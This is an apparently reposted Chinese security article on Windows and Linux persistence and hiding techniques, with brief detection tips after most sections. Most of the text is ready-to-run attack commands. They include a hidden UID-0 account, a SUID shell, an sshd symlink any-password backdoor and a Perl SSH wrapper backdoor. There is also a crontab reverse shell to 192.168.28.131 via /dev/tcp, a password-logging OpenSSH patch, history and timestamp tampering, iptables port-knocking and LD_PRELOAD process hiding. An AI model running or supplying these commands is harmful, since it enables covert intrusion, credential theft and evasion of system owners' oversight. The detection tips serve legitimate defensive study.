一般開啟WinRM服務作為遠程管理,但還是第一次聽到可以作為端口復用,一種簡單容易實現的端口復用方式。假設,攻擊者已獲取到administrator賬號密碼,連接遠程WinRM服務執行命令:
當執行這條命令的同時,將在安全日志中留下痕跡,
另外,可以通過代碼實現端口復用重定向,工具:GitHub - crabkun/switcher: 一個多功能的端口轉發/端口復用工具,支持轉發本地或遠程地址的端口,支持正則表達式轉發(實現端口復用)。
4 進程注入
進程注入,一直是病毒木馬的慣用手段,同時,它也是一種隱藏技術。在常見的滲透測試框架中,進程注入是怎么做的以及我們如何通過工具排查出來?
meterpreter會話注入
當前權限無法獲取hash值,查看目前系統進程
?
通過migrate將進程注入到system進程后,成功獲得hash值。
?
Window后門排查:
通過TCPview顯示已建立的TCP連接,我們可以看到異常的連接,同時,惡意軟件將以綠色顯示不到一秒鐘,然后變成紅色消失,如此循環。
?
Empire會話進程注入
通過psinject模塊進行會話注入,直接輸入ps選擇一個SYSTEM權限的進程PID,使用進程注入模塊,來獲取權限。如下圖:
?
Window后門排查:利用process monitor或者火絨劍監控進程都可以定位到注入進程。
?
?
Cobalt Strike進程注入
選擇進程,點擊inject,隨后選擇監聽器,點擊choose,即可發現Cobaltstrike彈回了目標機的一個新會話,這個會話就是成功注入到某進程的beacon。
?
?
Window后門排查:利用process monitor捕捉通信過程,有規律的請求取決于sleep設置的間隔。
?Linux
1、一句話添加用戶和密碼
添加普通用戶:
# 創建一個用戶名guest,密碼123456的普通用戶 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest ? # useradd -p 方法 ` ` 是用來存放可執行的系統命令,"$()"也可以存放命令執行語句 useradd -p "$(openssl passwd -1 123456)" guest# chpasswd方法 useradd guest;echo 'guest:123456'|chpasswd# echo -e方法 useradd test;echo -e "123456\n123456\n" |passwd test添加root用戶:
# 創建一個用戶名guest,密碼123456的root用戶 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test可疑用戶排查技巧:
# 查詢特權用戶特權用戶(uid 為0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd # 查詢可以遠程登錄的帳號信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow # 除root帳號外,其他帳號是否存在sudo權限。如非管理需要,普通帳號應刪除sudo權限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"2、SUID Shell
Suid shell是一種可用于以擁有者權限運行的shell。
配合普通用戶權限使用 cp /bin/bash /tmp/shell chmod u+s /tmp/shell使用guest用戶登錄就可疑獲取root權限。
?
備注:bash2針對suid做了一些防護措施,需要使用-p參數來獲取一個root shell。另外,普通用戶執行這個SUID shell時,一定要使用全路徑。
排查技巧:
# 在Linux中查找SUID設置的文件 find . -perm /4000 # 在Linux中查找使用SGID設置的文件 find . -perm /2000 # 取消s權限 chmod u-s /tmp/shell3、ssh公私鑰免密登錄
在客戶端上生成一對公私鑰,然后把公鑰放到服務器上(~/.ssh/authorized_keys),保留私鑰。當ssh登錄時,ssh程序會發送私鑰去和服務器上的公鑰做匹配。如果匹配成功就可以登錄了。
客戶端:
ssh-keygen -t rsa過程中按三次回車,執行結束如下圖:
?
進入/root/.ssh/文件夾,查看文件夾的內容,如下所示:
?
其中 id_rsa為私鑰,id_rsa.pub為公鑰,接下來打開id_rsa.pub,將內容復制到服務器。將id_rsa.pub的內容追加到/root/.ssh/authorized_keys內,配置完成。
排查技巧:查看/root/.ssh/authorized_keys是否被修改。
4、軟連接
在sshd服務配置運行PAM認證的前提下,PAM配置文件中控制標志為sufficient時只要pam_rootok模塊檢測uid為0即root權限即可成功認證登陸。通過軟連接的方式,實質上PAM認證是通過軟連接的文件名 /tmp/su 在/etc/pam.d/目錄下尋找對應的PAM配置文件(如: /etc/pam.d/su),任意密碼登陸的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密碼登陸,除了su中之外還有chsh、chfn同樣可以。
在目標服務器上執行一句話后門:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888執行完之后,任何一臺機器ssh root@IP -p 8888,輸入任意密碼,成功登錄。
排查技巧:進程、端口都可以發現異常, kill -s 9 PID 結束進程即可清除后門。
5、SSH wrapper
首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這里的時候,正則匹配會失敗,于是執行下一句,啟動/usr/bin/sshd,這是原始sshd。原始的sshd監聽端口建立了tcp連接后,會fork一個子進程處理具體工作。這個子進程,沒有什么檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了。此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell
簡單點就是從sshd fork出一個子進程,輸入輸出重定向到套接字,并對連過來的客戶端端口進行了判斷。
服務端:
cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart客戶端:
socat STDIO TCP4:target_ip:22,sourceport=13377 ? #如果你想修改源端口,可以用python的struct標準庫實現。其中x00x00LF是19526的大端形式,便于傳輸和處理。 >>> import struct >>> buffer = struct.pack('>I6',19526) >>> print repr(buffer) '\x00\x00LF' >>> buffer = struct.pack('>I6',13377) >>> print buffer 4A?
排查技巧:
# ls -al /usr/sbin/sshd # cat /usr/sbin/sshd 可通過重裝ssh服務恢復。6、strace后門
通過命令替換動態跟蹤系統調用和數據,可以用來記錄用戶ssh、su、sudo的操作。
#vim /etc/bashrc alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' # source /root/.bashrc?
排查技巧:使用alias即可發現異常。
?
7、crontab反彈shell
crontab命令用于設置周期性被執行的指令。新建shell腳本,利用腳本進行反彈。
a、創建shell腳本,例如在/etc/evil.sh
#!/bin/bash bash -i >& /dev/tcp/192.168.28.131/12345 0>&1chmod +sx /etc/evil.sh
b、crontab -e 設置定時任務
#每一分鐘執行一次 */1 * * * * root /etc/evil.sh重啟crond服務,service crond restart,然后就可以用nc接收shell。
?
排查技巧:
# 查看可疑的定時任務列表 crontab -e8、openssh后門
利用openssh后門,設置SSH后門密碼及root密碼記錄位置,隱蔽性較強,不易被發現。
a、備份SSH配置文件 mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old ? b、解壓并安裝補丁 tar zxf openssh-5.9p1.tar.gz tar zxf openssh-5.9p1.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff ? c、記錄用戶名和密碼的文件位置及其密碼 vi includes.h#define ILOG "/tmp/1.txt" ? ? ? ? ? ? //記錄登錄本機的用戶名和密碼#define OLOG "/tmp/2.txt" ? ? ? ? ? ? //記錄本機登錄遠程的用戶名和密碼#define SECRETPW "123456789" ? ? ? ? //后門的密碼 ? d、修改版本信息 vi version.h#define SSH_VERSION "填入之前記下來的版本號,偽裝原版本"#define SSH_PORTABLE "小版本號"e、安裝并編譯 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 make clean make && make install service sshd restart ? f、對比原來的配置文件,使配置文件一致,然后修改文件日期。 ? touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config ? g、清除操作記錄 export HISTFILE=/dev/null export HISTSIZE=0 echo >/root/.bash_history //清空操作日志排查技巧:利用strace找出ssh后門.
# 1、獲取可疑進程PI ps aux | grep sshd # 2、跟蹤sshd PID strace -o aa -ff -p PID # 3、查看記錄密碼打開文件 grep open sshd* | grep -v -e No -e null -e denied| grep WR ?9、PAM后門
PAM (Pluggable Authentication Modules )是由Sun提出的一種認證機制。它通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程序,同時也便于向系統中添加新的認證手段。PAM最初是集成在Solaris中,目前已移植到其它系統中,如Linux、SunOS、HP-UX 9.0等。
利用方法:
1、獲取目標系統所使用的PAM版本,下載對應版本的pam版本 2、解壓縮,修改pam_unix_auth.c文件,添加萬能密碼 3、編譯安裝PAM 4、編譯完后的文件在:modules/pam_unix/.libs/pam_unix.so,復制到/lib64/security中進行替換,即可使用萬能密碼登陸,并將用戶名密碼記錄到文件中。排查技巧:
# 1、通過Strace跟蹤ssh ps axu | grep sshd strace -o aa -ff -p PID grep open aa* | grep -v -e No -e null -e denied| grep WR # 2、檢查pam_unix.so的修改時間 stat /lib/security/pam_unix.so ? ? #32位 stat /lib64/security/pam_unix.so ? #64位10、rookit后門
Mafix是一款常用的輕量應用級別Rootkits,是通過偽造ssh協議漏洞實現遠程登陸的特點是配置簡單并可以自定義驗證密碼和端口號。
利用方法:安裝完成后,使用ssh 用戶@IP -P 配置的端口,即可遠程登錄。
連接后的截圖:
?
排查技巧:查看端口是否異常,RPM check查看命令是否被替換。
1 處理隱藏文件
攻擊者在獲取服務器權限后,會通過一些技巧來隱藏自己的蹤跡和后門文件,本節介紹Linux下的幾種隱藏技術。
Linux 下創建一個隱藏文件:touch .test.txt
touch 命令可以創建一個文件,文件名前面加一個 點 就代表是隱藏文件,如下圖:
一般的Linux下的隱藏目錄使用命令ls -l是查看不出來的,只能查看到文件及文件夾,查看Linux下的隱藏文件需要用到命令:ls -al
這里,我們可以看到在/tmp下,默認存在多個隱藏目錄,這些目錄是惡意文件常用來藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
2 隱藏文件時間戳
Unix 下藏后門必須要修改時間,否則很容易被發現,直接利用 touch 就可以了。
比如參考 index.php 的時間,再賦給 webshell.php,結果兩個文件的時間就一樣了。
利用方法
touch -r index.php webshell.php
或者直接將時間戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
3 隱藏權限
在Linux中,使用chattr命令來防止root和其他管理用戶誤刪除和修改重要文件及目錄,此權限用ls -l是查看不出來的,從而達到隱藏權限的目的。
這個技巧常被用在后門,變成了一些難以清除的后門文件,令很多新手朋友感到頭疼。
chattr +i evil.php 鎖定文件 lsattr evil.php ? 屬性查看 chattr -i evil.php 解除鎖定 rm -rf 1.evil.php 刪除文件?
4 隱藏歷史操作命令
在shell中執行的命令,不希望被記錄在命令行歷史中,如何在linux中開啟無痕操作模式呢?
技巧一:只針對你的工作關閉歷史記錄
[space]set +o history 備注:[space] 表示空格。并且由于空格的緣故,該命令本身也不會被記錄。上面的命令會臨時禁用歷史功能,這意味著在這命令之后你執行的所有操作都不會記錄到歷史中,然而這個命令之前的所有東西都會原樣記錄在歷史列表中。
要重新開啟歷史功能,執行下面的命令:
[Space]set -o history 它將環境恢復原狀,也就是你完成了你的工作,執行上述命令之后的命令都會出現在歷史中。技巧二:從歷史記錄中刪除指定的命令
假設歷史記錄中已經包含了一些你不希望記錄的命令。這種情況下我們怎么辦?很簡單。通過下面的命令來刪除:
history | grep "keyword"輸出歷史記錄中匹配的命令,每一條前面會有個數字。從歷史記錄中刪除那個指定的項:
history -d [num]這種技巧是關鍵記錄刪除,或者我們可以暴力點,比如前150行是用戶的正常操作記錄,150以后是攻擊者操作記錄。我們可以只保留正常的操作,刪除攻擊痕跡的歷史操作記錄,這里,我們只保留前150行:
sed -i '150,$d' .bash_history5 隱藏遠程SSH登陸記錄
#隱身登錄系統,不會被w、who、last等指令檢測到。
ssh -T root@127.0.0.1 /bin/bash -i不記錄ssh公鑰在本地.ssh目錄中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i6 端口復用
通過端口復用來達到隱藏端口的目的,在Linux下,如何實現端口復用呢?
第一種方式:通過SSLH在同一端口上共享SSH與HTTPS
#安裝SSLHsudo apt-get install sslh#配置SSLH編輯 SSLH 配置文件:sudo vi /etc/default/sslh1、找到下列行:Run=no 將其修改為:Run=yes2、修改以下行以允許 SSLH 在所有可用接口上偵聽端口 443DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"第二種方式:利用IPTables進行端口復用
# 端口復用鏈 iptables -t nat -N LETMEIN # 端口復用規則 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 開啟開關 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 關閉開關 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN利用方式:
#開啟復用 echo threathuntercoming | socat - tcp:192.168.28.128:80 #ssh使用80端口進行登錄 ssh -p 80 root@192.168.28.128 #關閉復用 echo threathunterleaving | socat - tcp:192.168.28.128:80?
具體文章詳見:遠程遙控 IPTables 進行端口復用
7 進程隱藏
管理員無法通過相關命令工具查找到你運行的進程,從而達到隱藏目的,實現進程隱藏。
第一種方法:libprocesshider
github項目地址:https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 來實現系統函數的劫持,實現如下
# 下載程序編譯 git clone https://github.com/gianlucaborello/libprocesshider.git cd libprocesshider/ && make # 移動文件到/usr/local/lib/目錄下 cp libprocesshider.so /usr/local/lib/ # 把它加載到全局動態連接局 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload測試:運行 evil_script.py,
此時發現在top 與 ps 中都無法找到 evil_script.py, cpu 使用率高,但是卻找不到任何占用cpu高的程序。
?
如何在Linux中發現隱藏的進程,
unhide 是一個小巧的網絡取證工具,能夠發現那些借助rootkit,LKM及其它技術隱藏的進程和TCP / UDP端口。這個工具在Linux,UNIX類,MS-Windows等操作系統下都可以工作。
下載地址:Unhide homepage - Welcome
# 安裝 sudo yum install unhide # 使用 unhide [options] test_list使用unhide proc發現隱藏進程evil_script.py,如下圖所示:
?
第二種方法:進程注入工具linux-inject
linux-inject是用于將共享對象注入Linux進程的工具
github項目地址: GitHub - gaffe23/linux-inject: Tool for injecting a shared object into a Linux process
# 下載程序編譯 git clone https://github.com/gaffe23/linux-inject.git cd linux-inject && make # 測試進程 ./sample-target # 進程注入 ./inject -n sample-target sample-library.so驗證進程注入成功,如下圖所示:
Cymothoa是一款隱秘的后門工具。它通過向目標主機活躍的進程注入惡意代碼,從而獲取和原進程相同的權限。該工具最大的優點就是不創建新的進程,不容易被發現。
下載地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/
# 下載解壓 wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz tar zxvf cymothoa-1-beta.tar.gz # cd cymothoa-1-beta && make ?提供安全建議
將事件根除之后,提供安全建議
總結
- 上一篇: 信息系统自动决策机制的使用
- 下一篇: 中国筋膜枪行业销售状况及营销前景预测报告